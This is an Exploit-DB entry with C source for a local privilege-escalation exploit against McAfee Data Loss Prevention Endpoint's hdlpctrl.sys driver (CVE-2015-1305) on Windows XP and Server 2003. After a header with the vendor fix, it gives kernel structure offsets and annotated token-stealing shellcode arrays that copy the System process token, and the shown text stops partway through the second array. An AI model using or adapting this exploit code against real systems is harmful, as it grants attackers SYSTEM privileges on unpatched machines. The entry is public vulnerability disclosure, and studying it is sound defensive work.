Exploit-DB #35953
Description: McAfee Data Loss Prevention Endpoint - Arbitrary Write Privilege Escalation
Type: local
Platform: windows
Date: 2015-01-30
Author: Parvez Anwar

Exploit:
/*

Exploit Title    - McAfee Data Loss Prevention Endpoint Arbitrary Write Privilege Escalation
Date             - 29th January 2015
Discovered by    - Parvez Anwar (@parvezghh)
Vendor Homepage  - http://www.mcafee.com
Tested Version   - 9.3.200.23
Driver Version   - 9.3.200.23 - hdlpctrl.sys
Tested on OS     - 32bit Windows XP SP3 and Windows 2003 Server SP2
OSVDB            - http://www.osvdb.org/show/osvdb/117345
CVE ID           - CVE-2015-1305
Vendor fix url   - https://kc.mcafee.com/corporate/index?page=content&id=SB10097
Fixed version    - 9.3.400
Fixed driver ver - 

*/


#include <stdio.h>
#include <windows.h>

#define BUFSIZE 4096


typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
     PVOID   Unknown1;
     PVOID   Unknown2;
     PVOID   Base;
     ULONG   Size;
     ULONG   Flags;
     USHORT  Index;
     USHORT  NameLength;
     USHORT  LoadCount;
     USHORT  PathLength;
     CHAR    ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
 
typedef struct _SYSTEM_MODULE_INFORMATION {
     ULONG   Count;
     SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS { 
     SystemModuleInformation = 11,
     SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(
     SYSTEM_INFORMATION_CLASS SystemInformationClass,
     PVOID SystemInformation,
     ULONG SystemInformationLength,
     PULONG ReturnLength);

typedef NTSTATUS (WINAPI *_NtQueryIntervalProfile)(
     DWORD ProfileSource, 
     PULONG Interval);

typedef void (*FUNCTPTR)(); 



// Windows XP SP3

#define XP_KPROCESS 0x44      // Offset to _KPROCESS from a _ETHREAD struct
#define XP_TOKEN    0xc8      // Offset to TOKEN from the _EPROCESS struct
#define XP_UPID     0x84      // Offset to UniqueProcessId FROM the _EPROCESS struct
#define XP_APLINKS  0x88      // Offset to ActiveProcessLinks _EPROCESS struct

// Windows Server 2003

#define W2K3_KPROCESS 0x38      // Offset to _KPROCESS from a _ETHREAD struct
#define W2K3_TOKEN    0xd8      // Offset to TOKEN from the _EPROCESS struct
#define W2K3_UPID     0x94      // Offset to UniqueProcessId FROM the _EPROCESS struct
#define W2K3_APLINKS  0x98      // Offset to ActiveProcessLinks _EPROCESS struct


BYTE token_steal_xp[] =
{
  0x52,                                                  // push edx                       Save edx on the stack
  0x53,	                                                 // push ebx                       Save ebx on the stack
  0x33,0xc0,                                             // xor eax, eax                   eax = 0
  0x64,0x8b,0x80,0x24,0x01,0x00,0x00,                    // mov eax, fs:[eax+124h]         Retrieve ETHREAD
  0x8b,0x40,XP_KPROCESS,                                 // mov eax, [eax+XP_KPROCESS]     Retrieve _KPROCESS
  0x8b,0xc8,                                             // mov ecx, eax
  0x8b,0x98,XP_TOKEN,0x00,0x00,0x00,                     // mov ebx, [eax+XP_TOKEN]        Retrieves TOKEN
  0x8b,0x80,XP_APLINKS,0x00,0x00,0x00,                   // mov eax, [eax+XP_APLINKS] <-|  Retrieve FLINK from ActiveProcessLinks
  0x81,0xe8,XP_APLINKS,0x00,0x00,0x00,                   // sub eax, XP_APLINKS         |  Retrieve _EPROCESS Pointer from the ActiveProcessLinks
  0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,  // cmp [eax+XP_UPID], 4        |  Compares UniqueProcessId with 4 (System Process)
  0x75,0xe8,                                             // jne                     ---- 
  0x8b,0x90,XP_TOKEN,0x00,0x00,0x00,                     // mov edx, [eax+XP_TOKEN]        Retrieves TOKEN and stores on EDX
  0x8b,0xc1,                                             // mov eax, ecx                   Retrieves KPROCESS stored on ECX
  0x89,0x90,XP_TOKEN,0x00,0x00,0x00,                     // mov [eax+XP_TOKEN], edx        Overwrites the TOKEN for the current KPROCESS
  0x5b,                                                  // pop ebx                        Restores ebx
  0x5a,                                                  // pop edx                        Restores edx
  0xc2,0x08                                              // ret 8    
};


BYTE token_steal_w2k3[] =
{
  0x52,                                                  // push edx                         Save edx on the stack
  0x53,                                                  // push ebx                         Save ebx on the stack
  0x33,0xc0,                                             // xor eax, eax                     eax = 0
  0x64,0x8b,0x80,0x24,0x01,0x00,0x00,                    // mov eax, fs:[eax+124h]           Retrieve ETHREAD
  0x8b,0x40,W2K3_KPROCESS,                               // mov eax, [eax+W2K3_KPROCESS]     Retrieve _KPROCESS
  0x8b,0xc8,                                             // mov ecx, eax
  0x8b,0x98,W2K3_TOKEN,0x00,0x00,0x00,                   // mov ebx, [eax+W2K3_TOKEN]        Retrieves TOKEN
  0x8b,0x80,W2K3_APLINKS,0x00,0x00,0x00,                 // mov eax, [eax+W2K3_APLINKS] <-|  Retrieve FLINK from ActiveProcessLinks
  0x81,0xe8,W2K3_APLINKS,0x00,0x00,0x00,                 // sub eax, W2K3_APLINKS         |  Retrieve _EPROCESS Pointer from the ActiveProcessLinks
  0x81,0xb8,W2K3_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,// cmp [eax+W2K3_UPID], 4        |  Compares UniqueProcessId with 4 (System Process)
  0x75,0xe8,                                             // jne                       ---- 
  0x8b,0x90,W2K3_TOKEN,0x00,0x00,0x00,                   // mov edx, [eax+W2K3_TOKEN]        Retrieves TOKEN and stores on EDX
  0x8b,0xc1,                                             // mov eax, ecx                     Retrieves KPROCESS stored on ECX
  0x89,0x90,W2K3_TOKEN,0x00,0x00,0x00,                   // mov [eax+W2K3_TOKEN], edx        Overwri